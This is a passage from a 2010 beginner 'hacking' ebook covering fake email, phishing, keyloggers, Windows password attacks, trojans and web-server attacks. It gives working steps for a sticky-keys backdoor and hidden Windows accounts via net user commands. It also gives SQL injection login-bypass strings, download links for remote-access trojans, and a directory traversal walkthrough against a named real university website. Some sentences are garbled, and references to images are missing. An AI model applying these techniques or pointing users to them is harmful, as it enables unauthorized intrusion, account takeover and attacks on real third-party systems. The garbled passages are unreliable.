544that Email account, because you do not know if someone gets your Email id password and uses your Email to send
545a threatening Email to the Ministry or to the News Channels.
546 Attacker is not bothered about your data in the Email. He just wants an Email ID Victim which will be used in the
547attack. There are a lots of ways by which one can use your Email in wrong means, i am sure that you would have
548come across some of the cased where a student gets an Email from his friends abusing him or cases on Porn
549Emails where the owner of the Email does not anything about the sent Email.
550Hacking For Beginners – Manthan Desai 2010
551w w w . h a c k i n g t e c h . c o . t v
552Page 21
553Email Spoofing
554 Email spoofing is the forgery of an Email header so that the message appears to have originated from someone or
555somewhere other than the actual source. Distributors of spam often use spoofing in an attempt to get recipients
556to open, and possibly even respond to, their solicitations. Spoofing can be used legitimately.
557 There are so many ways to send the Fake Emails even without knowing the password of the Email ID. The Internet
558is so vulnerable that you can use anybody's Email ID to send a threatening Email to any official personnel.
559Methods to send fake Emails
560Open Relay Server
561Web Scripts
562Fake Emails: Open Relay Server
563 An Open Mail Relay is an SMTP (Simple Mail Transfer Protocol) server configured in such a way that it allows
564anyone on the Internet to send Email through it, not just mail destined ‘To’ or ‘Originating’ from known users.
565 An Attacker can connect the Open Relay Server via Telnet and instruct the server to send the Email.
566 Open Relay Email Server requires no password to send the Email.
567Fake Emails: via web script
568 Web Programming languages such as PHP and ASP contain the mail sending functions which can be used to send
569Emails by programming Fake headers i.e.” From: To: Subject:”
570 There are so many websites available on the Internet which already contains these mail sending scripts. Most of
571them provide the free service.
572 Some of Free Anonymous Email Websites are:
573 Mail.Anonymizer.name (Send attachments as well)
574 FakEmailer.net
575 FakEmailer.info
576 Deadfake.com
577 www.hackingtech.co.tv/index/0-93
578Hacking For Beginners – Manthan Desai 2010
579w w w . h a c k i n g t e c h . c o . t v
580Page 22
581PHP Mail sending script
582Consequences of fake emails
583 Email from your Email ID to any Security Agency declaring a Bomb Blast can make you spend rest of your life
584behind the iron bars.
585 Email from you to your Girl friend or Boy friend can cause Break-Up and set your friend’s to be in relationship.
586 Email from your Email ID to your Boss carrying your Resignation Letter or anything else which you can think of.
587 There can be so many cases drafted on Fake Emails.
588Proving a fake Email
589 Every Email carry Header which has information about the Travelling Path of the Email
590 Check the Header and Get the location from the Email was Sent
591 Check if the Email was sent from any other Email Server or Website
592 Headers carry the name of the Website on which the mail sending script was used.
593Email Bombing
594 Email Bombing is sending an Email message to a particular address at a specific victim site. In many instances, the
595messages will be large and constructed from meaningless data in an effort to consume additional system and
596network resources. Multiple accounts at the target site may be abused, increasing the denial of service impact.
597Hacking For Beginners – Manthan Desai 2010
598w w w . h a c k i n g t e c h . c o . t v
599Page 23
600Email Spamming
601 Email Spamming is a variant of Bombing; it refers to sending Email to hundreds or thousands of users (or to lists
602that expand to that many users). Email spamming can be made worse if recipients reply to the Email, causing all
603the original addressees to receive the reply. It may also occur innocently, as a result of sending a message to
604mailing lists and not realizing that the list explodes to thousands of users, or as a result of a responder message
605(such as vacation(1)) that is setup incorrectly.
606Email Password Hacking
607 There is no specified attack available just to hack the password of Email accounts. Also, it is not so easy to
608compromise the Email server like Yahoo, Gmail, etc.
609 Email Password Hacking can be accomplished via some of the Client Side Attacks. We try to compromise the user
610and get the password of the Email account before it reaches the desired Email server.
611 We will cover many attacks by the workshop flows, but at this time we will talk about the very famous 'Phishing
612attack'.
613Phishing
614 The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to
615scam the user into surrendering private information that will be used for identity theft.
616 The Email directs the user to visit a Web site where they are asked to update personal information, such as
617passwords and credit card, social security, and bank account numbers, that the legitimate organization already
618has. The Web site, however, is Bogus and set up only to steal the User’s information.
619Hacking For Beginners – Manthan Desai 2010
620w w w . h a c k i n g t e c h . c o . t v
621Page 24
622Phishing scams could be
623 Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
624 Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
625 Emails containing some Information of your Interest and asking you to Login to Your Account.
626 Any Email carrying a Link to Click and asking you to Login.
627Prevention against Phishing
628 Read all the Email Carefully and Check if the Sender is Original
629 Watch the Link Carefully before Clicking
630 Always check the URL in the Browser before Signing IN to your Account
631 Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.
632Email Tracing
633 Tracing an Email means locating the Original Sender and Getting to know the IP address of the network from
634which the Email was actually generated.
635 To get the information about the sender of the Email we first must know the structure of the Email.
636 As we all know the travelling of the Email. Each message has exactly one header, which is structured into fields.
637Each field has a name and a value. Header of the Email contains all the valuable information about the path and
638the original sender of the Email.
639Hacking For Beginners – Manthan Desai 2010
640w w w . h a c k i n g t e c h . c o . t v
641Page 25
642 For tracing an email Address You need to go to your email account and log into the email which you want to trace
643after that you have to find the header file of the email which is received by you.
644 You will get Source code of the email.
645 For Rediffmail-
646 For Yahoo mail-
647
648For Gmail-
649Now see from bottom to top and the first IP address you find is the IP address of the sender.
650Once you have the IP Address of the sender, go to the URL www.ip2location.com and Find the location of the IP Address.
651Hacking For Beginners – Manthan Desai 2010
652w w w . h a c k i n g t e c h . c o . t v
653Page 26
654And you are done we have traced the person.....
655And from where he had sent the email.
656Keystroke loggers
657 Keystroke Loggers (or Key loggers) intercept the Target’s keystrokes and either saves them in a file to be read
658later, or transmit them to a predetermined destination accessible to the Hacker.
659 Since Keystroke logging programs record every keystroke typed in via the keyboard, they can capture a wide
660variety of confidential information, including passwords, credit card numbers, and private Email correspondence,
661names, addresses, and phone numbers.
662Types of keyloggers
663 Hardware keylogger
664 Software keylogger
665Some Famous keyloggers
666 Actual Spy
667 Perfect Keylogger
668 Family Keylogger
669 Home Keylogger
670 Soft Central Keylogger
671 Adramax Keylogger
672Hacking For Beginners – Manthan Desai 2010
673w w w . h a c k i n g t e c h . c o . t v
674Page 27
675Securing your Email account
676 Always configure a Secondary Email Address for the recovery purpose.
677 Properly configure the Security Question and Answer in the Email Account.
678 Do Not Open Emails from strangers.
679 Do Not Use any other’s computer to check your Email.
680 Take Care of the Phishing Links.
681 Do not reveal your Passwords to your Friends or Mates.
682Hacking For Beginners – Manthan Desai 2010
683w w w . h a c k i n g t e c h . c o . t v
684Page 28
6853. Windows Hacking and Security
686Security Architecture of Windows
687 There are three components of Windows Security:
688 LSA (Local Security Authority)
689 SAM (Security Account Manager)
690 SRM (Security Reference Monitor)
691LSA (Local Security Authority)
692 LSA is the Central Part of NT Security. It is also known as Security Subsystem. The Local Security Authority or LSA is
693a key component of the logon process in both Windows NT and Windows 2000. In Windows 2000, the LSA is
694responsible for validating users for both local and remote logons. The LSA also maintains the local security policy.
695 During the local logon to a machine, a person enters his name and password to the logon dialog. This information
696is passed to the LSA, which then calls the appropriate authentication package. The password is sent in a nonreversible
697secret key format using a one-way hash function. The LSA then queries the SAM database for the User’s
698account information. If the key provided matches the one in the SAM, the SAM returns the users SID and the SIDs
699of any groups the user belongs to. The LSA then uses these SIDs to generate the security access token.
700Hacking For Beginners – Manthan Desai 2010
701w w w . h a c k i n g t e c h . c o . t v
702Page 29
703SAM (Security Account Manager)
704 The Security Accounts Manager is a database in the Windows operating system (OS) that contains user names and
705passwords. SAM is part of the registry and can be found on the hard disk.
706 This service is responsible for making the connection to the SAM database (Contains available user-accounts and
707groups). The SAM database can either be placed in the local registry or in the Active Directory (If available). When
708the service has made the connection it announces to the system that the SAM-database is available, so other
709services can start accessing the SAM-database.
710 In the SAM, each user account can be assigned a Windows password which is in encrypted form. If someone
711attempts to log on to the system and the user name and associated passwords match an entry in the SAM, a
712sequence of events takes place ultimately allowing that person access to the system. If the user name or
713passwords do not properly match any entry in the SAM, an error message is returned requesting that the
714information be entered again.
715 When you make a New User Account with a Password, it gets stored in the SAM File.
716 Windows Security Files are located at
717“C:\Windows\System32\Config\SAM”
718 The moment operating system starts, the SAM file becomes inaccessible.
719SRM (Security Reference Monitor)
720 The Security Reference Monitor is a security architecture component that is used to control user requests to
721access objects in the system. The SRM enforces the access validation and audit generation. Windows NT forbids
722the direct access to objects. Any access to an object must first be validated by the SRM. For example, if a user
723wants to access a specific file the SRM will be used to validate the request. The Security Reference Monitor
724enforces access validation and audit generation policy.
725 The reference monitor verifies the nature of the request against a table of allowable access types for each process
726on the system. For example, Windows 3.x and 9x operating systems were not built with a reference monitor,
727whereas the Windows NT line, which also includes Windows 2000 and Windows XP, was designed with an entirely
728different architecture and does contain a reference monitor.
729Windows user account architecture
730 User account passwords are contained in the SAM in the Hexadecimal Format called Hashes.
731 Once the Passwords converted in Hashes, you cannot convert back to the Clear Text.
732Hacking For Beginners – Manthan Desai 2010
733w w w . h a c k i n g t e c h . c o . t v
734Page 30
735Cracking Windows User Account password
736 Passwords are Stored and Transmitted in an encrypted form called a Hash. When a User logs on to a system and
737enters a password, a hash is generated and compared to a stored hash. If the entered and the stored hashes
738match, the user is authenticated (This is called the Challenge/Response).
739 Passwords may be cracked manually or with automated tools such as a Brute-force method or the Rainbow Table
740attack.
741Hacking For Beginners – Manthan Desai 2010
742w w w . h a c k i n g t e c h . c o . t v
743Page 31
744Hacking For Beginners – Manthan Desai 2010
745w w w . h a c k i n g t e c h . c o . t v
746Page 32
747 In this if we put the password and windows vey the password we entered on teen with the file in which the
748password is stored of ours.
749 This is stored in a file named SAM
750 It is shown in the picture above.
751 Now we need to attack this file.
752 For this we need to open this file but it is not possible as it is in process by the computer from its start up.
753 And we suppose that the file opens then also we cannot see the passwords stored in it because they are
754encrypted in the form of HASHES.
755 And they and not be decrypted. Ad it is the hardest encryption done and decryption is not easy.
756 But it is not impossible.
757 We Need a Bootable CD named Hiren boot and Can Crack the Password.
758 But Another Attack –
759 Go to C:\Windows\System32\
760 Copy the File cmd.exe to desktop and rename it to sethc.exe
761 Now copy the file sethc.exe to C:\Windows\System32\ and will give an error, give that error YES. And replace it.
762 Now You Are Done.
763 Now At the Login Screen Press SHIFT Key 5 times and a beep Sound will come and Command prompt will open.
764 In the command prompt type “explorer.exe” and Hit Enter a desktop will open in the tab mode.Use The Computer
765Unlimited….
766Hacking For Beginners – Manthan Desai 2010
767w w w . h a c k i n g t e c h . c o . t v
768Page 33
769Windows User Account Attack
7701) To See all the account present on the computer
7712) To change the password without knowing the old password.
7723) To make a new user account.
7734) To Delete the Existing user account.
7745) To make a hidden account in computer.***** { Works only in windows XP}
775 Note: - To login to this Hidden Account Press
776 Ctrl + Alt + Delete + Delete
777 And give the hidden user name in the user name field and password respectively.
778 And the above are to be executed in command prompt. And the hacker indicates the respective user
779name. Or the name of the account.
780Counter Measures of Windows Attack.
7811) Change the Boot Sequence in the BIOS setup. Keep Hard Disk As 1st boot drive, then CD/DVD drive as 2nd
782boot device & Removable port as the 3rd boot device.
7832) Put the BIOS password.
7843) Put the physical Lock behind the cabinet of PC. (Put Lock).
785Net user
786Net user administrator *
787Net user hacker /add
788Net user hacker /delete
789Net user hacker /add
790Net localgroup users hacker /delete
791Hacking For Beginners – Manthan Desai 2010
792w w w . h a c k i n g t e c h . c o . t v
793Page 34
794To hide a file behind an image.
795To hide a file behind a image file which means that if any one opens that image he will see the image only but if you open
796in a special way then you can open the hidden file behind the image.
797So to hide the file behind a image open CMD.exe
7981) Select an image to be used for hiding file behind the image.
7992) Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
8003) And most important is that paste both the files on desktop and run the following command on the command
801prompt.
8024) And then type the following command.
803cd desktop
804Copy /b imagename.jpg + filename.rar finalnameofimage.jpg
805Hacking For Beginners – Manthan Desai 2010
806w w w . h a c k i n g t e c h . c o . t v
807Page 35
808And then hit enter the file will be created with the file final file name of the image.
809Make a Private Folder
810To make Private folder which nobody can open, delete, see properties, rename.
811To make such a folder you need to make a folder with any name. For example- manthan on desktop.
812And then open command prompt and then type the following command on the screen.
813Hacking For Beginners – Manthan Desai 2010
814w w w . h a c k i n g t e c h . c o . t v
815Page 36
816Then type
817And hit enter the folder is locked
818To open the folder just: replace with: f
819And the folder is opened
820Cd desktop
821Cacls folder /E /P everyone:n
822Hacking For Beginners – Manthan Desai 2010
823w w w . h a c k i n g t e c h . c o . t v
824Page 37
825To run net user in Vista and Windows 7
826 Go to Start > Type CMD in Search Box
827 Right Click on CMD Icon and choose the option “Run as administrator”
828Hacking For Beginners – Manthan Desai 2010
829w w w . h a c k i n g t e c h . c o . t v
830Page 38
831Brute Force Attack
832 Brute force password guessing is just what it sounds like: trying a random approach by attempting different
833passwords and hoping that one works. Some logic can be applied by trying passwords related to the person’s
834name, job title, hobbies, or other similar items.
835 Brute force randomly generates passwords and their associated hashes.
836 There are tools available to perform the Brute force attack on the Windows SAM File. Most famous tool available
837for Windows User Account Password Brute forcing is Cain and Abel. Another one is Sam Inside.
838Hacking For Beginners – Manthan Desai 2010
839w w w . h a c k i n g t e c h . c o . t v
840Page 39
841Rainbow Table Attack
842 Rainbow Table Attack trades off the time-consuming process of creating all possible password hashes by building
843a table of hashes in advance of the actual crack. After this process is finished, the table, called a rainbow table, is
844used to crack the password, which will then normally only take a few seconds.
845 We can use the Live CD to crack the Windows password using the Rainbow table attack technique. Most famous
846Live CD available is Oph Crack.
847Oph Crack
848Hacking For Beginners – Manthan Desai 2010
849w w w . h a c k i n g t e c h . c o . t v
850Page 40
851Counter Measures for Windows Attack
852Creating Backdoors for windows
853Creating Hidden Accounts.
854 Use the Net User Command to Create a Hidden Account in Windows: Net User Hidden user /add
855 And then use the Command Net Local group Users Hidden user /delete
856 Log Off the Current User, Press ALT+CTRL+DEL combination 2 times to get the ‘Classic Windows User Login
857Screen’
858 Type the Username as Hidden user and Hit Enter, you will get Logged In
859Sticky Keys Backdoor.
860 Sticky Keys application can be used as the Backdoor in Windows Operating System.
861 Command Prompt file ‘CMD.EXE’ can be renamed to ‘SETHC.EXE’ in C:\Windows\System32 Folder.
862 After this one can hit the Shift Key 5 times on the User Login Screen and will get the Command Prompt right
863there. Net User command can be used to modify User Accounts thereafter.
864“This trick will not work in Windows Vista and Windows 7”.
865Hacking For Beginners – Manthan Desai 2010
866w w w . h a c k i n g t e c h . c o . t v
867Page 41
868Change the Boot Sequence
869 You should change the boot sequence in the BIOS so that your computer is not configured to boot from the CD
870first. It should be configured as Hard Disk as the First Boot Device.
871 This will protect your computer from the attacking Live CDs.
872 You may press Del or F2 Key at the System Boot to go to the BIOS Setup.
873Hacking For Beginners – Manthan Desai 2010
874w w w . h a c k i n g t e c h . c o . t v
875Page 42
8764. Trojans in Brief
877This tutorial will include the understanding concept of Trojan, Dangers created by Trojans, how they can come to your
878computer, how do they destroy you and your data. How many types of Trojans are there, how Trojans are attached
879behind other applications and finally the most important, Detection of Trojan on your computer and their prevention
880to safeguard your system and your data.
881Knowing the Trojan
882A Trojan is a malicious program misguided as some very important application. Trojans comes on the backs of other
883programs and are installed on a system without the User’s knowledge. Trojans are malicious pieces of code used to install
884hacking software on a target system and aid the Hacker in gaining and retaining access to that system. Trojans and their
885counterparts are important pieces of the Hacker’s tool-kit.
886Trojans is a program that appears to perform a desirable and necessary function but that, because of hidden and
887unauthorized code, performs functions unknown and unwanted by the user. These downloads are fake programs which
888seems to be a original application, it may be a software like monitoring program, system virus scanners, registry cleaners,
889computer system optimizers, or they may be applications like songs, pictures, screen savers, videos, etc..
890Hacking For Beginners – Manthan Desai 2010
891w w w . h a c k i n g t e c h . c o . t v
892Page 43
893 You just need to execute that software or application, you will find the application running or you might get an
894error, but once executed the Trojan will install itself in the system automatically.
895 Once installed on a system, the program then has system-level access on the target system, where it can
896be destructive and insidious. They can cause data theft and loss, and system crashes or slowdowns; they can
897also be used as launching points for other attacks against your system.
898 Many Trojans are used to manipulate files on the victim computer, manage processes, remotely run commands,
899intercept keystrokes, watch screen images, and restart or shut down infected hosts.
900Different Types of Trojans
9011. Remote Administration Trojans: There are Remote Access Trojans which are used to control the Victim’s computer
902remotely.
9032. Data Stealing Trojans: Then there are Data Sending Trojans which compromised the data in the Victim’s computer, then
904find the data on the computer and send it to the attacker automatically.
9053. Security Disabler Trojan: There are Security software disablers Trojans which are used to stop antivirus software
906running in the Victim’s computer.
907In most of the cases the Trojan comes as a Remote Administration Tools which turns the Victim’s computer into a server
908which can controlled remotely. Once the Remote Access Trojan is installed in the system, the attacker can connect to that
909computer and can control it.
910Some famous Trojans
911 Beast
912Download - http://u.to/ZSSk
913Hacking For Beginners – Manthan Desai 2010
914w w w . h a c k i n g t e c h . c o . t v
915Page 44
916 Back Orifice
917Download - http://u.to/hCSk
918 Net Bus
919Download it from – http://u.to/1SSk
920 Pro Rat
921Download it from – http://u.to/xCSk
922Hacking For Beginners – Manthan Desai 2010
923w w w . h a c k i n g t e c h . c o . t v
924Page 45
925 Girl Friend
926Download it from – http://u.to/AyWk
927 Sub Seven
928Download it from – http://u.to/FCWk
929Components of Trojans
930Trojan consists of two parts:
9311. A Client component
9322. A Server component.
933One which resides on the Victim’s computer is called the server part of the Trojan and the one which is on the attacker’s
934computer is called the client Part of the Trojan. For the Trojan to function as a backdoor, the server Component has to be
935installed on the Victim’s machine.
936Hacking For Beginners – Manthan Desai 2010
937w w w . h a c k i n g t e c h . c o . t v
938Page 46
9391. Server component of the Trojan opens a port in the Victim’s computer and invites the Attacker to connect and
940administrate the computer.
9412. Client component of the Trojan tries to connect the Victim’s computer and administrate the computer without the
942permission of the User.
943Wrapper
944A Wrapper is a program used to combine two or more executables into a single packaged program. The wrapper attaches
945a harmless executable, like a game, to a Trojan’s payload, the executable code that does the real damage, so that it
946appears to be a harmless file.
947Hackers use Wrappers to bind the Server part of the Software behind any image or any other file. Wrappers are also
948known as Binders.
949Generally, games or other animated installations are used as wrappers because they entertain the user while the Trojan in
950being installed. This way, the user doesn’t notice the slower processing that occurs while the Trojan is being installed on
951the system—the user only sees the legitimate application being installed.
952Hacking For Beginners – Manthan Desai 2010
953w w w . h a c k i n g t e c h . c o . t v
954Page 47
955Mode of Transmission for Trojans
956Reverse Connection in Trojans
957Reverse-connecting Trojans let an attacker access a machine on the internal network from the outside. The Hacker can
958install a simple Trojan program on a system on the internal network. On a regular basis (usually every 60 seconds), the
959internal server tries to access the external master system to pick up commands. If the attacker has typed something into
960the master system, this command is retrieved and executed on the internal system. Reverse WWW shell uses standard
961HTTP. It’s dangerous because it’s difficult to detect - it looks like a client is browsing the Web from the internal network
962Now the final part ….
963Detection and Removal of Trojans
964The unusual behavior of system is usually an indication of a Trojan attack. Actions/symptoms such as,
965• Programs starting and running without the User’s initiation.
966• CD-ROM drawers Opening or Closing.
967• Wallpaper, background, or screen saver settings changing by themselves.
968• Screen display flipping upside down.
969• Browser program opening strange or unexpected websites
970All above are indications of a Trojan attack. Any action that is suspicious or not initiated by the user can be an indication
971of a Trojan attack.
972One thing which you can do is to check the applications which are making network connections with other computers.
973One of those applications will be a process started by the Server Trojan.
974Hacking For Beginners – Manthan Desai 2010
975w w w . h a c k i n g t e c h . c o . t v
976Page 48
977You also can use the software named process explorer which monitors the processes executed on the computer with its
978original name and the file name. As there are some Trojans who themselves change their name as per the system process
979which runs on the computer and you cannot differentiate between the Trojan and the original system process in the task
980manager processes tab, so you need PROCESS EXPLORER.
981TCP (Transmission Control Protocol) view
982• TCP View is a Windows program that will show you detailed listings of all TCP (Transmission Control Protocol) and UDP
983(User Datagram Protocol) endpoints on your system, including the local and remote addresses and state of TCP
984connections.
985• On Windows NT, 2000, and XP, TCP View also reports the name of the process that owns the endpoint.
986• Active connections will appear in Green Color. You can always Right Click on the check the properties of the application.
987• Once you have got hold of the Trojan application, you can Kill the active connection and the running process and then
988delete the physical application file. This will make you recover from the attack of Trojan.
989Countermeasures for Trojan attacks
990Most commercial antivirus programs have Anti-Trojan capabilities as well as spy ware detection and removal
991functionality. These tools can automatically scan hard drives on startup to detect backdoor and Trojan programs before
992they can cause damage. Once a system is infected, it’s more difficult to clean, but you can do so with commercially
993available tools. It’s important to use commercial applications to clean a system instead of freeware tools, because many
994freeware removal tools can further infect the system. In addition, port monitoring tools can identify ports that have been
995opened or files that have changed.
996The key to preventing Trojans and backdoors from being installed on a system is to not to install applications downloaded
997from the Internet or open Email attachments from parties you don’t know. Many systems administrators don’t give users
998the system permissions necessary to install programs on system for the very same reason.
999Hacking For Beginners – Manthan Desai 2010
1000w w w . h a c k i n g t e c h . c o . t v
1001Page 49
10025. Attacks on Web servers and Security
1003Introduction to Web Servers
1004A Web Server is a program which is configured to serve Web Pages using the Hyper Text Transfer Protocol (HTTP).
1005• Served content usually is HTML documents and linked objects Images, Scripts, Text, etc.
1006• Web server has an IP address and possibly a domain name. For example, if you enter the URL
1007http://www.hackingtech.co.tv/mobile.html in your browser, this sends a request to the server whose domain name is
1008hackingtech.co.tv. The server then fetches the page named mobile.html and sends it to your browser.
1009Setting Up a Web Server
1010Any computer can be turned into a Web server by installing server software and connecting the machine to the Internet.
1011There are many Web server software applications available.
1012• Software to setup a Web Server:
1013– Apache
1014– IIS
1015The Basic Process: How Web servers work
1016Let's say that you are sitting at your computer, surfing the Web. So you type that URL into your browser and press enter.
1017• And magically, no matter where in the world that URL lives, the page pops up on your screen.
1018• Web browser forms a connection to a Web server, requests a page and receives it.
1019Hacking For Beginners – Manthan Desai 2010
1020w w w . h a c k i n g t e c h . c o . t v
1021Page 50
1022Attacks on Web servers
1023• Web Ripping
1024• Google Hacking
1025• SQL Injection
1026• PHP Remote Code Execution
1027• Cross Site Scripting
1028• Directory Transversal Attacks
1029Web Ripping
1030• Web Ripping is finding and extracting pictures and other media files from specified website URLs and save them to your
1031hard drive.
1032• Web Ripping is the ability to copy the structure of a Web site to a local disk and obtain a complete profile of the site and
1033all its files and links.
1034• We can use Black Windows Web ripper for web ripping.
1035Hacking For Beginners – Manthan Desai 2010
1036w w w . h a c k i n g t e c h . c o . t v
1037Page 51
1038Google Hacking
1039• As we all know, Google is a Search Engine.
1040• Google keeps snapshots of pages it has crawled that we can access via the Cached link on the search results page.
1041• Google hacking involves using Advance Search Operators in the Google search engine to locate specific strings of text
1042within search results. Some of the more popular examples are finding specific versions of Vulnerable Web Applications.
1043• You can look for the particular File types, Password files and Directories. Even you can find out the IP based CCTV
1044Cameras.
1045Hacking For Beginners – Manthan Desai 2010
1046w w w . h a c k i n g t e c h . c o . t v
1047Page 52
1048Intitle: Search For the Text In The title of the websites
1049This Search will give you the List of all the websites with Title Hacking.
1050Site: To Narrow the Search of specific Website.
1051This Search will give you the List of all the web pages from the website hackingtech.co.tv
1052FileType: Searching for the files of specific type.
1053This Search will give you the List of all the website link containing the MS Word Document of the name hacking.
1054Hacking For Beginners – Manthan Desai 2010
1055w w w . h a c k i n g t e c h . c o . t v
1056Page 53
1057To Find the CCTV all over the world.
1058This Search will give you the List of all the website links for the CCTV cameras over the World.
1059The More commands for the CCTV cameras Will be explained in the later part of the book.
1060Protecting Your Files from Google
1061• A robots.txt file restricts access to your site by search engine robots that crawls the web. These bots are automated, and
1062before access pages of a site, they check to see if a robots.txt file exists that prevents them from accessing certain pages.
1063• You need a robots.txt file only if your site includes content that you don't want search engines to catch. If you want
1064search engines to index everything in your site, you don't need a robots.txt file (not even an empty one).
1065Example of Simple ROBOT.txt file.
1066Hacking For Beginners – Manthan Desai 2010
1067w w w . h a c k i n g t e c h . c o . t v
1068Page 54
1069Cross Site Scripting (XSS)
1070• Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow
1071code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML
1072code and client-side scripts.
1073• An exploited Cross-Site Scripting vulnerability can be used by attackers to bypass access controls such as the same origin
1074policy. Recently, vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits.
1075Cross site scripting was originally referred to as CSS, although this usage has been largely discontinued.
1076The ratio of XSS attack is very large as compared to other attacks performed.
1077Example of a Cross Site Scripting attack
1078As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is
1079a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text
1080you are looking for.
1081Example:
1082Search Results for "XSS Vulnerability"
1083Hacking For Beginners – Manthan Desai 2010
1084w w w . h a c k i n g t e c h . c o . t v
1085Page 55
1086To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the
1087URL would look like:
1088http://test.searchengine.com/search.php?q=XSS%20
1089Vulnerability
1090Next we try to send the following query to the search engine:
1091<script type="text/javascript"> alert (‘this is an XSS Vulnerability') </script>
1092By submitting the query to search.php, it is encoded and the resulting URL would be something like:
1093http://test.searchengine.com/search.php?q=%3Cscript%3
1094Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2
10959%3C%2Fscript%3E
1096Upon loading the results page, the test search engine would probably display no results for the search but it will display a
1097JavaScript alert which was injected into the page by using the XSS vulnerability.
1098How to check for Cross site scripting vulnerabilities
1099To check for Cross site scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawl your
1100entire website and automatically checks for Cross Site Scripting vulnerabilities. It will indicate which URLs/scripts are
1101vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a web
1102application scanner will also check for SQL injection & other web vulnerabilities.
1103You Will Be explained more about this attack in the later part of the book in website hacking category..
1104Directory Traversal Attack
1105• Directory traversal attacks allow malicious users to literally "traverse" the directory and bypass the access control list to
1106gain access to restricted files and even manipulate data.
1107• These attacks are HTTP exploits that begin with a simple GET or other type of HTTP request from a dynamic page. If your
1108Web site is vulnerable, and chances are it is, the server will return with a file that hasn't been properly validated. A
1109malicious user will then send a request for a file one or more directories up by adding one or more "../" directives to the
1110string. Each "../" instructs the page to "go up one directory."
1111Hacking For Beginners – Manthan Desai 2010
1112w w w . h a c k i n g t e c h . c o . t v
1113Page 56
1114Example of a directory traversal attack via web application code
1115In order to perform a directory traversal attack, all an attacker needs is a web browser and some knowledge on where to
1116blindly find any default files and directories on the system.
1117The following example will make clear everything
1118Visit this website vulnerable to directory transversal attack
1119http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=notification.php
1120This web server is running on UNIX like operating system. There is a directory 'etc' on unix/linux which contains
1121configuration files of programs that run on system. Some of the files are passwd, shadow, profile,sbin placed in 'etc'
1122directory.
1123The file etc/passwd contains the login names of users and even passwords too.
1124Lets try to access this file on web server by stepping out of the root directory. Carefully see the position of directories
1125placed on the web server.
1126We do not know the actual names and contents of directories except 'etc' which is default name , So I have marked them
1127as A,B,C,E or whatever.
1128We are in directory in F accessing the web pages of website.
1129Let’s type this in URL field and press enter
1130http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=etc/passwd
1131This will search the directory 'etc' in F. But obviously, there is nothing like this in F, so it will return nothing now type
1132http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../etc/passwd
1133Hacking For Beginners – Manthan Desai 2010
1134w w w . h a c k i n g t e c h . c o . t v
1135Page 57
1136Now this will step up one directory (to directory E ) and look for 'etc' but again it will return nothing Now type
1137http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../etc/passwd
1138Now this will step up two directories (to directory D) and look for 'etc' but again it will return nothing.
1139So by proceeding like this, we go for this URL
1140http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../../../../etc/passwd
1141It takes us 5 directories up to the main drive and then to 'etc' directory and show us contents of 'passwd' file.
1142To understand the contents of 'passwd' file, visit
1143http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/
1144You can also view etc/profile; etc/services and many others files like backup files which may contain sensitive data. Some
1145files like etc/shadow may not be accessible because they are accessible only by privileged users.
1146If proc/self/environ would be accessible; you might upload a shell on server which is called as Local File Inclusion.
1147Database Servers
1148• The Database server is a key component in a client/server environment. Specially the Websites which have a User Login
1149Architecture.
1150• Database Server holds the Database Management System (DBMS) and the Data Records. Upon requests from the client
1151machines, it searches the database for selected records and passes them back over the network.
1152• Software to setup a Database Server:
1153– Oracle
1154– SQL Server
1155– MySql
1156Hacking For Beginners – Manthan Desai 2010
1157w w w . h a c k i n g t e c h . c o . t v
1158Page 58
1159Login Process on the websites
1160Let's say that you are sitting at your computer, surfing the Web, and you open a Website to Login to your account.
11611: You type in the Login Username and Password and clicks on Sign in and you get in to your account.
11622: Web Server receives the Username and Password and forwards it to the Database server.
11633: Database server receives the Username and Password from the Web Server and checks its tables for that Username
1164and Password and sends the result of the authentication to the Web Server.
11654: Web Server receives the Authentication result from the Database Server and on the basis of the result, redirects the
1166User to the proper Webpage.
1167• If the Authentication is True, User gets signed in to the Account, and if it fails User is asked to Sign In again.
1168SQL Injection
1169Hacking For Beginners – Manthan Desai 2010
1170w w w . h a c k i n g t e c h . c o . t v
1171Page 59
1172• A SQL injection attack exploits vulnerabilities in a web server database that allow the attacker to gain access to the
1173database and read, modify, or delete information.
1174• An example of a SQL injection attack is making the condition true by giving the identical value to a web page. These
1175values can be inserted into a login as follows:
1176• Login: 1' or '1'='1 and Password= 1' or '1'='1
1177• Login: 1' or '1'='1';--
1178• When the Username argument is evaluated, ‘1’=’1’ will assess to TRUE, and an authentic username will be returned.
1179The Systametic Execution of SQL injection is explained in the image below.
1180Input validation on the SQL Injection
1181• There are measures that can be applied to mitigate SQL injection attacks.
1182• Web developer can check whether some suspicious characters are sent from the Login Page like ‘, “, ;, -- , etc
1183• Always store the Passwords in the Database server in the Encrypted Form.
1184• Use of these practices does not guarantee that SQL injection can be completely eliminated, but they will make it more
1185difficult for Hackers to conduct these attacks.
1186Hacking For Beginners – Manthan Desai 2010
1187w w w . h a c k i n g t e c h . c o . t v
1188Page 60
1189Input Validation can help prevent
1190PHP Injection: Placing PHP backdoors
1191• This attack provides the means for a Hacker to execute his or her system level code on a target web server. With this
1192capability, an attacker can compromise the web server and access files with the same rights as the server system
1193software.
1194• For example, a number of PHP programs contain a vulnerability that could enable the transfer of unchecked user
1195commands to the eval ( ) function.
1196Hacking For Beginners – Manthan Desai 2010
1197w w w . h a c k i n g t e c h . c o . t v
1198Page 61
1199PHP Eval() function
1200PHP Remote code Execution
